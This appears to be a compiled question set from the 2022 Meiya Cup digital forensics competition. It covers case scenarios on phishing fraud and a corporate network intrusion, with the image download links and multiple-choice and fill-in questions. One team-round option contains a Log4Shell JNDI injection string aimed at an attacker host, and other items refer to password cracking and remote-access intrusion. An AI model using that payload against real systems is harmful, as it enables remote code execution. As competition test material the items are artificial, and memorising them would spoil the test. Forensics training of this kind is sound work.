2022美亚杯资料题目整理，仅供大家复盘参考

1、镜像下载

资格赛资料链接

百度云：

https://pan.baidu.com/s/1NxpFVtO-u8mgcwwDTBAXpw

提取码：3pvz

微软 OneDrive：

https://connecthkuhk-my.sharepoint.com/:f:/g/personal/qinsz_connect_hku_hk/Eg4IZjnRnVJMqM4N6fquRuoBubtePHcKuY-KqYgFCwiwGw?e=IvJGPF

*资格赛解压缩时间：45min左右

团队赛资料链接

百度云：

https://pan.baidu.com/s/1wUztM2KFxSj6zs9Qg16P4w 

提取码：jgn1

微软 OneDrive：

https://connecthkuhk-my.sharepoint.com/:f:/g/personal/qinsz_connect_hku_hk/EsW3ol-w0GtJiNd4e1vvm9QBlAylp7efkd9X1k7J91OJ6Q?e=9bChdo

*团队赛解压缩时间：1h20min 左右

2、案例背景及介绍

资格赛

I.案件详情

于2022年10月，有市民因接获伪冒快递公司的电邮，不慎地于匪徒架设的假网站提供了个人信用咭资料导致经济损失。  警方追查下发现当中一名受骗市民男子李大輝 (TaiFai) 的信用卡曾经被匪徒在区内的商舖购物。 后来警方根据IP地址，锁定及拘捕了一名男子林浚熙 （阿熙 ChunHei），并于他的居所发现了一批相信曾被用作犯案的电脑及手机装置。

经调查后，警方发现阿熙除上述案件外，他亦牵涉其他的一些犯罪活动。

警方的电子数据取证小组在现场作出初步了调查并对涉案装置进行了电子数据取证。请你根据得到的资料，协助将事件经过还原。

II.警方资料

A)与'林浚熙'相关的资料

B)与受害人'李大辉'相关的资料

C)与女友'王晓琳'相关的资料

团体赛

I.案件详情

2022年10月，警方收到AGC集团举报表示该公司网络的电邮系统有可疑连接及流量。 经过调查后，警方相信事件与本地一个IP地址有关，于是拘捕了一名男子朗尼 （Rooney），并在他家中检取了一些电脑，网络装置，手机作调查。

2022年10月下旬，两名巡警在街上截查一名男子王景浩（阿浩 KingHo）时， 在他的背包中找到一些从网上下载的制作油漆弹教学材料，阿浩曾作出反抗但最后被制服。经调查后，警员发现阿浩计划於某日向某人投掷油漆弹，警员随后将他拘捕并于他家中检取了一批电脑，手机作调查。深入调查后发现阿浩亦与AGC集团网络被入侵事件有关。

警方的电子数据取证小组在现场作出初步了调查并对涉案装置进行了电子数据取证。请你根据警方的资料，协助将事件经过还原。

II.警方资料

A)与'朗尼'相关的资料

B)与'AGC'集团相关的资料

C)与'王景浩'相关的资料

3、案例整体分析情况

4、个人赛题目

“美亚杯”第八届中国电子数据取证大赛资格赛

本次比赛共1 个段落, 70 个小题, 总共115分

容器密码：CZDGm#&2_Ns$7wSMn%ZGr7xntcHS7d5uFta#Up9544jx_cvP$uFM7?pTDa*jN&QyFDLS8U%hx$fXN^[email protected]^y#4QFXb*[email protected]?&[email protected]%v?&

资格赛 (70个小题, 共115分)

1. [单选题]王晓琳在这本电子书藉里最后对哪段文字加入了重点标示效果 (Highlight)? (2分)

A. 宝玉已是三杯过去了

B. 武松那日早饭罢

C. 卿有何妙计

D.就除他做个弼马温罢

2. [多选题]王晓琳的手机里有一个 'MTR Mobile (港铁)' 的手机程序 (Mobile App)。检视其数据库 (Database) 的数据，王晓琳于2022年10月11日 22:04 时将一行程加入书签 (Bookmark)，这段行程的起点及终点站包括? (2分)

A. 青衣

B. 康城

C. 红磡

D. 沙田

E. 尖沙咀

3. [填空题]王晓琳于2022年10月2日使用她的手机拍摄了多少张的照片? (以阿拉伯数字回答) (1分)

4. [单选题]检视王晓琳的手机照片，她于2022年10月2日到过什么地方? (1分)

A. 城门畔塘径

B. 大榄麦理浩径

C. 大潭郊游径

D. 京士柏卫理径

5. [单选题]李大辉使用的是一台LG V10的手机，它的型号是什么? (1分)

A. LGH961C

B. LGH960H

C. LGH961N

D. LGH961D

E. LGH960C

6. [单选题]李大辉的手机最常搜索的类别 (Category) 是什么? (1分)

A. 旅游

B. 运动

C. 护肤品

D. 学校

7. [填空题]李大辉最近光顾了一家美丰快运公司，这快递件的单号是什么? (不要输入符号及空白，以阿拉伯数字回答) (1分)

8. [单选题]李大辉收到的电邮中有一个钓鱼链结 (Phishing Link)，这个链结的地址是什么? (1分)

A. https://bit.ly/3yeARc0

B. https://bit.ly/5vM12

C. 以上皆非

D. http://bit.ly/Hell0

9. [单选题]承上题，这封电邮是从哪个电邮地址寄出的? (1分)

A. [email protected]

B. [email protected]

C. 以上皆非

D. [email protected]

10. [单选题]承上题，寄出这封电邮的IP地址是? (2分)

A. 65.54.185.39

B. 10.13.105.56

C. 以上皆非

D. 58.152.110.218

11. [单选题]李大辉手机有一个 'order.xlsx' 的档案被加密了，解密钥匙是什么? (1分)

A. 20221101

B. Nov2022!

C. 2022_Nov!

D. [email protected]!

12. [填空题]香港的街道上每一枝街灯都有编号。分析李大辉手机里的程序 'KMB 1933'， 哪一枝街灯在经度 (Latitude) 22.4160270000， 纬度 (Longitude) 114.2139450000 附近，它的编号是什么?(以大㝍英及阿拉伯数字回答) (2分)

13. [填空题]李大辉的手机里有一张由该手机拍的照片，照片的元资料 (Metadata) 曾被修改，这张照片的档案名是什么?(以大写英文及数字回答，不用回答副档名) (2分)

14. [单选题]分析李大辉的手机里的资料，他在哪一间公司工作? (2分)

A. 步步高贸易公司

B. 盛大国际有限公司

C. 美丽好化妆品公司

D. 永恒化妆品公司

15. [填空题]林浚熙曾经以手机登录Google账户的验证码是什么? (不要输入符号，以大写英文及阿拉伯数字回答) (1分)

16. [填空题]林浚熙手机的 'WhatsApp' 号码是什么? ( 号 码 ) @s.whatsapp.net? (以阿拉伯数字回答) (1分)

17. [单选题]通过分析林浚熙手机的照片，判断他在何处偷拍王晓琳? (1分)

A. 郊野公园

B. 游泳池

C. 交通工具

D. 酒店房间

18. [填空题]林浚熙曾经删掉自己拍摄的照片，这张照片的档案名 (Filename) 是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (2分)

19. [填空题]王晓琳曾经发送一个PDF档案予林浚熙，这个档案的文件签名 (File Signature) 是什么? (以十六进制数字回答首八位数值，如F0A1C5E1) (2分)

20. [填空题]承上题，该PDF档案内包含一位曾经被骗的受害者资料。分析林浚熙手机的数据，这位受害者的英文名字是什么? (不要输入符号及空白，以大写英文回答) (2分)

21. [单选题]分析林浚熙手机上的数据，他在2022年10月17日计划去什么地方? (2分)

A. 荃湾站

B. 沙田站

C. 以上皆非

D. 国际金融中心二期

22. [填空题]承上题，上述行程的结束时间是? (如答案为 16:01:59，需回答 160159) (2分)

23. [填空题]于林浚熙的手机里，在2022年9月1日 或以后，哪一张照片是由其他手机拍摄的，而它的档案名是什么?(不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (2分)

24. [单选题]根据照片的数据库 (Photos.sqlite) 资料，哪一个栏目标题 (Column Header) 可以显示这张照片的接收方式? (2分)

A. ZIMPORTEDFROMSOURCEIDENTIFIER

B. ZIMPORTEDBYBUNDLEIDENTIFIER

C. ZRECEIVEMETHODIDENTIFIER

D. ZRECEIVEDFROMIDENTIFIER

25. [单选题]承上题，这张照片通过什么方式接收? (2分)

A. WhatsApp软件传送

B. 以上皆非

C. 蓝牙传送

D. Signal软件传送

E. 网页下载

26. [填空题]承上题，这张照片原本的档案名 (Original Filename) 是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (3分)

27. [填空题]林浚熙手机里有一个备忘录 (Notes) 被上了锁，这个备忘录的名称是什么? (以大写英文及阿拉伯数字回答) (1分)

28. [填空题]承上题，上述备忘录的内容有一串数字，它是什么? (以阿拉伯数字回答) (2分)

29. [单选题]林浚熙计算机 (Computer) 的操作系统 (Operating System) 版本是什么? (1分)

A. Windows 10 Pro 22H2

B. Windows 10 Home 21H2

C. Windows 10 Pro for Workstations 21H2

D. Windows 10 Pro for Workstations 21H1

30. [填空题]林浚熙计算机安装了什么品牌的虚拟专用网络 (Virtual Private Network - VPN) 软件? (不要输入符号及空白，以大写英文及阿拉伯数字回答) (1分)

31. [填空题]承上题，分析该虚拟专用网络的日志 (Log)，他在哪天安装该虚拟专用网络? (如答案为 2022-12-29，需回答 20221229) (2分)

32. [填空题]检视林浚熙计算机的数据，他使用哪种加密货币 (Cryptocurrency) 以支付虚拟专用网络软件? (以大写英文回答该加密货币的全名，如BITCOIN) (1分)

33. [填空题]林浚熙的加密贷币钱包 (Cryptocurrency Wallet) 名称是什么? (不要输入符号，以大写英文及阿拉伯数字回答) (2分)

34. [多选题]林浚熙计算机里安装了哪个浏览器 (Web Browser)? (1分)

A. Tor Browser

B. Opera

C. Google Chrome

D. Internet Explorer

E. Microsoft Edge

35. [单选题]林浚熙使用浏览器 'Google Chrome' 曾经浏览最多的是哪一个网站? (1分)

A. https://mail.google.com/mail

B. https://web.whatsapp.com

C. https://gmail.com

D. https://facebook.com

36. [多选题]除了上述网站,林浚熙曾使用浏览器 'Google Chrome' 搜索过什么? (1分)

A. docker image教学

B. tor教学

C. php sql教学

D. electrum教学

E. javascript教学

37. [单选题]林浚熙的计算机安装了一个通讯软件 'Signal'，它的用戶資訊儲存路径是什么? (1分)

A. \Users\HEI\AppData\Roaming\Signal

B. \Program Files (x86)\Signal

C. \Users\HEI\Desktop\Signal

D. \Users\user\Roaming\Signal

38. [填空题]通讯软件 'Signal' 采用一个档案存放用户的聊天记录，它的档案名是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (2分)

39. [填空题]承上题，对上述档案迸行分析，林浚熙的联络人当中有多少人安装了Signal? (以阿拉伯数字回答) (3分)

40. [填空题]林浚熙在 'Signal' 曾经与某人对话，那人的手机号码是什么? 需要与区码 (Area Code) 一同回答 (以阿拉伯数字回答) (3分)

41. [多选题]承上题，两人在 'Signal' 的对话中有些讯息 (Message) 包含附件，这些讯息的 'ID' 包括? (2分)

A. 46a8762b-78ea-49aa-a6f5-b24975ec189f

B. 9729bf92-ab9c-45f7-8147-66234296aele

C. 5b9650fe-3bb6-4182-9900-f56177003672

D. 47233ffe-1a73-4b3d-b97c-626246ec3129

42. [填空题]承上题，林浚熙曾经于2022年10月20日轉账 (Transfer Money) 予上述对话人士, 那次轉賬的参考编号是什么? (以大写英文及阿拉伯数字回答) (3分)

43. [单选题]林浚熙的计算机安装了多少台虚拟机 (Virtual Machine - VM) ? (以阿拉伯数字回答) (1分)

A. 1

B. 2

C. 4

D. 3

44. [单选题]林浚熙的计算机里的虚拟机 (VM) 存放在什么路径? (1分)

A. \Users\Public\Documents\Virtual Machines

B. \Program Files\Virtual Machines

C. \User\HEI\Roaming\Virtual Machines\

D. \Users\HEI\Documents\Virtual Machines

45. [单选题]虚拟机 (VM) 使用什么版本的作业系统 (Operating System) ? (1分)

A. Ubuntu 22.04.1 LTS

B. CentOS Linux release 7.6.1810(Core)

C. CentOS Linux 7.5.1804 (Core)

D. Ubuntu 20.04.5 LTS

46. [多选题]虚拟机 (VM) 中的文件传输服务器 (FTP Server) 有哪些用户? (2分)

A. man

B. admin

C. root

D. ftpuser

E. nobody

47. [多选题]虚拟机设置了什么网页服务器 (Web Server)? (2分)

A. APACHE

B. WORDPRESS

C. LIGHTTPD

D. IIS

E. NGINX

48. [单选题]网页服务器目录内有图片档案，而此档案的储存位置是? (1分)

A. /var/www/post

B. /var/www/html/post/vendor

C. /var/www/html/post/css

D. /var/www/html/post

E. /var/www/html/post/src

49. [单选题]分析网页服务器的网站数据，假网站的公司名称是什么? (1分)

A. Global Logistics

B. Krick Post Global Logistics

C. Krick Global Logistics

D. Krick Post

50. [单选题]检视假网站首页的显示， 'AY806369745HK' 代表什么? (1分)

A. 邮件收费号码

B. 邮件序号

C. 邮件号码

D. 邮件参考号码

51. [填空题]分析假网站的资料，当受害人经假网站输入数据后，网站会产生一个档案，它的档案名是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (2分)

52. [多选题]分析假网站档案 'process.php' 源码 (Source Code), 推测此档案的用途可能是? (2分)

A. 产生档案

B. 发出邮件

C. 改变函数

D. 更新数据库

53. [填空题]检视档案 'process.php' 源码, 林浚熙的电邮密码是? (以大写英文回答) (1分)

54. [多选题]分析档案 'process.php' 源码, 它不会收集哪些资料? (2分)

A. 电话号码

B. 短讯验证码

C. 信用卡号码

D. 电邮地址

E. GPS位置

55. [填空题]虚拟机 (VM) 安装了 Docker 程序，列出一个以'5'作为开端的 'Docker' 镜像 (Image) ID (以阿拉伯数字及大写英文回答) (2分)

56. [填空题]Docker 容器 (Container) 'mysql' 对外开放的通讯端口 (Port) 是? (3分)

57. [填空题]Docker容器 'mysql'，用户 'root' 的密码是? (以大写英文及阿拉伯数字回答) (2分)

58. [填空题]Docker容器 'mysql' 里哪一个数据库储存了大量个人资料? (以大写英文回答) (3分)

59. [填空题]检视 Docker 容器 'mysql' 内数据库里的资料，李大辉的出生日期是? (如答案为 2022-12-29，需回答 20221229) (3分)

60. [多选题]通过取证调查结果迸行分析 (包括但不限于以上问题及情节)，林浚熙的行为涉及哪一种罪案? (5分)

A. 勒索金钱

B. 诈骗

C. 抢劫

D. 购买毒品

E. 传送儿童色情物品

61. [填空题]王晓琳手机的 'IMEI' 号是什么? (以阿拉伯数字回答) (1分)

62. [多选题]王晓琳的手机安装了什么即时通讯软件 (Instant Messaging Apps)? (1分)

A. WhatsApp

B. QQ

C. 微讯 (WeChat)

D. LINE

E. Signal

63. [单选题]王晓琳于什么日子和时间曾经通过即时通讯软件发出一个 'PDF' 档案? (以时区UTC+8回答) (1分)

A. 2022-10-01 17:39:53

B. 2022-09-30 18:30:28

C. 2022-09-30 17:39:53

D. 2022-10-01 16:30:22

64. [填空题]承上题，这个 'PDF' 档案的MD5哈希值 (Hash Value) 是什么? (以大写英文及阿拉伯数字回答) (1分)

65. [单选题]王晓琳将这个 'PDF' 档案发给哪一个用户, 而该用户的手机号码是什么? (1分)

A. 85259308538

B. 85269707307

C. 85297663607

D. 85246427813

66. [多选题]王晓琳发出这个 'PDF' 档案的原因是什么? (1分)

A. 分享档案内容

B. 错误发出

C. 寻求协助

D. 无法开启

67. [单选题]承上题，分析王晓琳与上述用户的对话，他们的关系是什么? (1分)

A. 师生

B. 家人

C. 客户

D. 同事

68. [单选题]王晓琳于何时要求上述用户删除一张照片? (1分)

A. 2022-09-28

B. 2022-09-30

C. 2022-10-06

D. 2022-10-03

69. [单选题]承上题，该用户向王晓琳提出什么要求以删除这张照片? (1分)

A. 毒品

B. 性服务

C. 金钱

D. 加密货币

70. [单选题]王晓琳的手机里有什么电子书藉 (Electronic Book) ? (2分)

A. 红楼梦

B. 水浒传

C. 三国演义

D. 西游记

5、团队赛题目

“美亚杯”第八届中国电子数据取证大赛团体赛

本次比赛共1 个段落, 130 个小题, 总共244分

容器密码：av?5CAXw;&N`X)6)%B>Y<`Gx[IVq<5F;mAQp][email protected],*88~%wF*CS}.w*7"S(,I[gJE(([email protected]$AK[aZzW&JFR<\FE}RC\Gjx[!ec^GrDne]xK)SuUPMWX

团体赛 (130个小题, 共244分)

1. [填空题]在朗尼手机于2022年9月30日的 'WhatsApp' 对话里，有一段音讯 (Voice Message) 提到王景浩会给朗尼现金多少作为租用 'VPN' 的租金? (以阿拉伯数字回答) (3分)

2. [填空题]就AGC集团网络的流媒体服务器 (Media Server)，有多少个本地用户曾经成功登录过? (以阿拉伯数字回答) (1分)

3. [填空题]就AGC集团网络的流媒体服务器，有多少个本地用户曾经成功用 'ssh' (Secure Shell)登录过? (以阿拉伯数字回答) (2分)

4. [填空题]就上述的本地用户，成功通过 'ssh' 登录过该流媒体服务器多少次? (以阿拉伯数字回答) (3分)

5. [单选题]试找找记录失败的登录尝试信息. 有以下哪一个名称曾尝试用 'ssh:notty' 登录该流媒体服务器? (2分)

A. iamhacker

B. hacking

C. hack

D. hacker

E. 以上皆非

6. [填空题]就该流媒体服务器的本地用户, 有一个用户名是 'S' 开头的, 该用户的姓氏是什么? (以大写英文回答) (3分)

7. [多选题]该流媒体服务器是有使用Docker容器 (Docker Container) 的，当中包含以下哪个Docker镜像 (Docker Image) ? (3分)

A. apache2

B. ubuntu

C. centos

D. nginx

E. hello-world

F. 以上皆非

8. [单选题]就上述的Docker镜像，哪一个镜像在系统上运行中? (2分)

A. apache2

B. ubuntu

C. centos

D. nginx

E. hello-world

F. 以上皆非

9. [多选题]该流媒体服务器是使用 'WordPress' 建站 (Create Website) 的， 就 '比特币' 标题， 有以下的电子邮箱地址曾经留有评论? (2分)

A. cn.wordpress.org

B. [email protected]

C. [email protected]

D. [email protected]

E. [email protected]

F. 以上皆非

10. [单选题]该流媒体服务器里其中一个本地用户是有使用 'calendar' 日历工具的, 日历内曾经提及以下哪个网站? (3分)

A. https://weibo.com

B. http://www.baidu.com

C. https://www.douyin.com

D. https://youku.com

E. https://www.binance.com

F. 以上皆非

11. [单选题]该流媒体服务器里是有使用磁盘阵列 (RAID) 的, 该设备是使用哪一个 RAID 级别? (请选择最合适的答案) (1分)

A. RAID 0

B. RAIDz2

C. RAIDz3

D. RAID 10

E. RAID 5

F. 以上皆非

12. [单选题]该基本镜像存储池 (Basic Storage Pool) 里储存了一些视频档案, 请找出一段儿童色情影片, 该档案的最后修改时间是什么月份? (2分)

A. Jun

B. Jul

C. Aug

D. Sep

E. Oct

F. 以上皆非

13. [填空题]承上题，拥有该段儿童色情影片的用户名称是什么? (不要输入符号，以大写英文及阿拉伯数字回答) (1分)

14. [填空题]就AGC集团网络的流媒体服务器，曾经有用户搜索过有关于儿童色情影片的资料而得到搜索结果，该用户所输入的网址是什么? (不要输入符号，以大写英文及阿拉伯数字回答，如 https://web3.com，需回答 HTTPSWEB3COM) (2分)

15. [填空题]该基本镜像存储池 (pool) 有一个快照 (Snapshot)，快照的名称是什么? (不要输入符号，以大写英文及阿拉伯数字回答，如 media/[email protected]，需回答MEDIAMEDIAPOOLABC123) (1分)

16. [填空题]就上述所找到的基本镜像存储池快照 (Snapshot)，它储存了多少个档案? (以阿拉伯数字回答) (1分)

17. [单选题]王景浩的USB记忆棒里有一个 'Data' 文件夹 (Folder)，它存有哪一种类型的密钥文件? (1分)

A. pem

B. cer

C. crt

D. key

E. 以上皆非

18. [多选题]承上题，'Data' 文件夹里有一个被加密了的档案，它是被哪一种加密方法加密? (2分)

A. Symmetric

B. PGP

C. Twofish

D. RSA

E. Triple DES

19. [单选题]尝试将档案解密，该档案属于哪一个类型 (File type)? (2分)

A. exe

B. ods

C. rtf

D. sql

E. 以上皆非

20. [多选题]承上题，找出以下哪一个名字出现在该档案里? (3分)

A. Armand To

B. Adam Smasher

C. Beverly Kot

D. Huma Chan

E. 以上皆非

21. [单选题]分析IP地址61.238.217.108向AGC服务器10.0.66.184发送的第一个 'GET' 指令，它请求的统一资源定位系统 (Uniform Resource Locator - URL) 是什么? (1分)

A. http://155.137.195.111:8080

B. http://www.w3.org/2003/05/soap-envelope

C. http://61.238.217.108:8000

D. 以上皆非

22. [单选题]IP地址61.238.217.108曾经向AGC服务器10.0.66.184发送 'POST' 指令，它在 'HTML Form' 项目的 'uname' 栏所输入的字符串是什么? (1分)

A. root

B. ${jndi:ldap://61.238.217.108:1389/a}

C. application/x-www-form-urlencoded

D. password

23. [单选题]AGC服务器10.0.66.184收到IP地址61.238.217.108的 'POST' 指令后，它执行了哪些行动? (2分)

A. 使用端口46858连接IP地址61.238.217.108的LDAP服务器的指定端口

B. 于IP地址61.238.217.108下载了Exploit.class

C. 使用端口49264连接IP地址61.238.217.108发送同步要求

D. 以上皆是

24. [填空题]在上述行动后，IP地址61.238.217.108利用哪个端口 (Port) 向AGC服务器10.0.66.184发出指令? (以阿拉伯数字回答) (1分)

25. [多选题]AGC服务器10.0.66.184里有一个AGC目录 (Directory)，它的子目录 (Sub Directory) 包含以下哪一个? (2分)

A. Accounting

B. Picture

C. Staff

D. Sambashare

E. Retail

26. [多选题]入侵者迸入AGC服务器10.0.66.184后，他成功执行以下哪些指令? (2分)

A. 檢视了readme.txt内容

B. 删除了三个档案

C. 删除了一个目录 (Directory)

D. 替档案改名

E. 建立了两个txt档案

27. [单选题]入侵者曾经传送一个档案到AGC服务器10.0.66.184并将它改名 (Rename)，这个档案的原来名称是什么？(1分)

A. cGhvdG9zT0Zyb2NreQ==

B. Finanical.xls

C. readme.txt

D. anonymous

28. [单选题]承上题，该档案原档的建立日期是什么? (2分)

A. 2022-10-21 08:10:30 (UTC+0)

B. 2022-10-21 16:19:39 (UTC+0)

C. 2022-10-22 08:10:30 (UTC+0)

D. 2022-10-22 14:22:06 (UTC+0)

E. 2022-10-22 16:19:39(UTC+0)

29. [单选题]承上题，该档案的SHA-256哈希值是什么? (3分)

A. a6eef1... ...27364c

B. 54785c… ...fe86f0

C. 961f2b… ...647d55

D. a00e6c… ...d0eaab

E. 以上皆非

30. [多选题]通过取证调查结果迸行分析 (包括但不限于以上问题及情节)，以下哪项关于王景浩的推断是正确的? (5分)

A. 曾经采用他的计算机入侵AGC集团网络

B. 傳播儿童色情物品

C. 于AGC集团取得大量客户资料

D. 通过VPN取得Rooney家里的IP地址

E. 企图更改AGC集团的网页

31. [单选题]分析AGC-CS计算机 (Computer) 里最初的作業系統 (Windows) ，它的实際安装时间是什么? (以时区UTC+8回答) (3分)

A. 2022-09-26 14:35:17

B. 2022-09-26 21:35:17

C. 2022-09-27 05:35:17

D. 2022-10-05 03:52:15

E. 2022-10-05 11:52:15

32. [单选题]AGC-CS计算机里的 'Acrobat DC' 软件的安装时间是? (以时区UTC+8回答) (如答案为 2022-12-29 16:01:59，需回答 20221229160159) (1分)

A. 2022-09-28 19:01:40

B. 2022-09-28 07:18:33

C. 2022-08-30 19:01:40

D. 2022-08-30 07:18:33

33. [单选题]AGC-CS计算机里的用户 'Carson' 链接了一个网络磁盘机 (Network Drive)，在下列哪一个档案有相关资料? (2分)

A. \Users\Carson\NTUSER.DAT

B. \Users\admin\NTUSER.DAT

C. \Windows\System32\config\SYSTEM

D. \Windows\System32\config\SOFTWARE

E. \Windows\System32\config\SECURITY

34. [单选题]承上题，用户 'Carson' 连接的网络磁盘机的IP地址是什么? (1分)

A. \\192.168.182.134\

B. \\192.168.182.134\photo

C. \\192.168.182.134\share

D. \\192.168.182.134\AGC

E. \\192.168.182.134\AGC photo

35. [填空题]分析计算机里的电邮数据，当中包含嫌疑人王景浩可能的居住地址，请回答他住址的楼层 (以阿拉伯数字回答) (1分)

36. [填空题]承上题，王景浩使用的信用卡号码最后四位数字是? (1分)

37. [填空题]AGC-CS计算机用户 'Carson' 曾经收到一个电邮并通过里面的链结下载了一个可疑的 'Word' 文件，那个档案的档案名是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (1分)

38. [单选题]承上题，分析该 'Word' 文件，它的可能用途是? (3分)

A. 访问一个网站

B. 记录键盘操作

C. 把档案加密

D. 改变桌面壁纸

E. 关闭计算机

39. [单选题]AGC-CS计算机里有一个名为 'admin' 的用户，它是在何时被建立的? (以时区UTC+8回答) (1分)

A. 2022-09-28

B. 2022-09-29

C. 2022-09-30

D. 2022-10-01

E. 以上皆非

40. [填空题]黑客第一次采用用户 'admin' 通过远程桌面协议 (Remote Desktop Protocol - RDP) 登录了AGC-CS计算机的时间是? (以时区UTC+8回答) (如答案为 2022-12-29 16:01:59，需回答 20221229160159) (2分)

41. [填空题]黑客入侵AGC-CS计算机后下载了一个扫描端口 (Port Scanning) 的软件，这软件的真正名称是? (以大写英文及阿拉伯数字回答) (3分)

42. [填空题]承上题，黑客采用上述软件取得一些计算机的IP地址及媒体访问控制地址 ('Media Access Control' Address - MAC Address) 并存到一个名为 'ip.txt' 的档案。当中 '192.168.182.130' 计算机的MAC地址是什么? (不要输入 '：' 或 '-' ，以大写英文及阿拉伯数字回答) (3分)

43. [填空题]AGC-CS计算机里的一个跳转列表 (Jumplist) 显示了用户 'admin' 曾经采用记事本 (Notepad) 打开了一个文字档案，这个文字档的SHA-256哈希值是什么? (以大写英文及阿拉伯数字回答) (3分)

44. [单选题]黑客除了通过 'RDP' 外，还采用什么软件远端控制 (Remote Control) AGC-CS计算机? (1分)

A. VNC

B. Teamviewer

C. Anydesk

D. Splashtop Business Access

E. RemotePC

45. [填空题]AGC_Server里LVM (Logical Volume Management 逻辑卷轴管理) 的 VG (Volume Group 卷组) 'pve' 共有多少PE (Physical Extent 物理块) ? (以阿拉伯数字回答) (1分)

46. [填空题]AGC_Server里LVM 的 LV(邏輯卷)"pve-data" 使用了多少百分比的空間? (不用填寫 '%'，以阿拉伯数字回答) (3分)

47. [多选题]AGC_Server里的 'Proxmox' 虚拟化环境 (Virtual Environment - VE) 有哪一个用户? (2分)

A. root

B. VM_admin

C. sysadmin

D. acl

E. tss

48. [填空题]分析 'VM' (虚拟机) 编号 '111' AGC网站的网页服务器日志，当中记录了黑客曾向该服务器发出多少次與远程代码執行 (Remote Code Execution) 的网络攻击？(以阿拉伯数字回答) (2分)

49. [单选题]哪一个IP地址尝试登录'VM' (虚拟机) 编号 '111' 失败次数最多? (1分)

A. 38.242.130.207

B. 218.92.0.206

C. 43.142.93.22

D. 121.202.141.105

E. 61.238.217.108

50. [填空题]黑客在入侵 'VM' 编号 '111' 后，打算涂改AGC公司的网页，黑客在传送相关档案时所用的端口 (Port) 是什么? (以阿拉伯数字回答) (3分)

51. [多选题]根据 'VM' 编号 '111' 里的网页服务器 (Web Server) 的设定，访客可从下列哪个网页地址访问这个服务器? (2分)

A. localhost

B. www.ag.com.shop

C. www.agcom.shop

D. agcom.shop

E. www.agcom.com

52. [填空题]黑客曾入侵 'VM' 编号 '111' 里的电邮系统 'Xeams'，他登录的时间是? (以unix时间戳回答，格式如:1665049779010) (2分)

53. [单选题]黑客在入侵后盗用AGC员工电邮户口及冒充AGC员工回复了电邮给客户，发出这封电邮的操作系统 (Operating System) 及电邮软件 (Mail Agent) 是什么? (2分)

A. Mac OS X 10.15 rv:102.0 Thunderbird/102.3.0

B. Mac OS X 10.15 rv:102.0 Thunderbird/91.13.1

C. Mac OS X 10.11 rv:91.0 Thunderbird/91.13.1

D. Mac OS X 10.11 rv:60.0 Thunderbird/60.9.1

E. Windows 10 Pro Outlook 2016

54. [单选题]黑客在 'Proxmox' 里留下了一个被加密了的程序 (Program)，在解密后它的SHA-256哈希值 (Hash Value) 是什么? (2分)

A. C89D7A... ...8C4E76

B. C7141F... ...64BF65

C. E9433E... ...1A5134

D. 45CE1C… ...79BD4A

E. 0ACAA5… ...AB7ECE

55. [填空题]承上题，分析程序代码 (Program Code)，上述程序的档案名应该是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (3分)

56. [单选题]于虚拟机 'VM' 编号 '111' 里的档案 '\srv\samba\share\AGC photo\DSC01139.JPG' ，照片中出现的街道名称是? (2分)

A. 河背街

B. 沙咀道

C. 众安街

D. 香车街

E. 川龙街

57. [单选题]王景浩的计算机使用什么文件系统 (File System) ? (1分)

A. exFAT

B. APFS

C. HFS

D. HFS+

58. [单选题]王景浩计算机的操作系统 (Operating System) 版本是什么? (1分)

A. 10.4.11

B. 10.9.5

C. 10.10.5

D. 10.11.6

59. [填空题]王景浩的计算机当前有多少个用户 (包括访客 'Guest' )? (以阿拉伯数字回答) (1分)

60. [填空题]王景浩的计算机里有一个用户被删除，被删除的用户名称是什么? (以大写英文回答) (1分)

61. [填空题]王景浩的计算机有多少个 '聚焦' 的搜索记録 (Spotlight Search) ? (以阿拉伯数字回答) (1分)

62. [单选题]当用户设置了自动登录 (Auto Login) 后，王景浩计算机的操作系统会产生哪个档案? (2分)

A. manifest.plist

B. info.plist

C. PasswordPanel.strings

D. kcpassword

63. [单选题]王景浩计算机的登录密码 (Login Password) 是什么? (2分)

A. [email protected]

B. 3ed$RF5tg

C. 5tg^YH7uj

D. 2ws$RF6yh

64. [单选题]在王景浩的计算机里，他最后使用哪个电邮地址登录 'iCloud' 账号? (2分)

A. [email protected]

B. [email protected]

C. [email protected]

D. [email protected]

65. [多选题]王景浩计算机里的手机备份 (iTunes Backup) 包含哪些iOS版本? (2分)

A. 12.5.6

B. 15.4

C. 15.5

D. 16.0.3

66. [填空题]王景浩曾经将一台 iPhone 6 连接他的计算机，请问它最后的连接时间是什么? (以时区UTC+8回答) (如答案为 2022-12-29 16:01:59，需回答 20221229160159) (2分)

67. [单选题]苹果手机备份的密码 (iTunes Backup Encryption Password) 会记录在什么档案? (2分)

A. Info.plist

B. privacy.json

C. Manifest.plist

D. PasswordPanel.strings

68. [多选题]以下哪种工具可以用作破解密码? (1分)

A. Passware

B. John The Ripper

C. HashCat

D. Password Recovery Toolkit

69. [多选题]通过 'hashcat' 破解 'iTunes Backup' 密码需要制订一个 'txt' 档案，若该备份的手机iOS版本是10以上，需要按照下列哪个提示字符 (String) 的数据去制订这个 'txt' 档案? (3分)

A. WPKY

B. ITER

C. SALT

D. DPIC

E. DPSL

70. [填空题]王景浩采用了4位数字加密了他的iPhone XR的备份，分析它的密码是什么? (以阿拉伯数字回答) (3分)

71. [填空题]最后一次连上王景浩计算机的3D打印机的IP地址是什么? (不要输入答案中的 '.'，以阿拉伯数字回答) (2分)

72. [填空题]3D打印机最后一次在王景浩的计算机尝试打印的时间? (以时区UTC+8回答) (2分)

73. [单选题]最后一次经由王景浩计算机打印的3D图档案名字是什么? (2分)

A. CE3_balljoint_extender.gcode

B. um3-penguin-real-mini-keychain-merged-tpu.gcode

C. CE3_Prancer.gcode

D. CE3_2020-psu-atx-mount.gcode

74. [单选题]王景浩计算机的Safari浏览器的默认搜索引擎 (Default Search Engine) 是什么? (2分)

A. 百度

B. 谷歌

C. 360

D. Safari

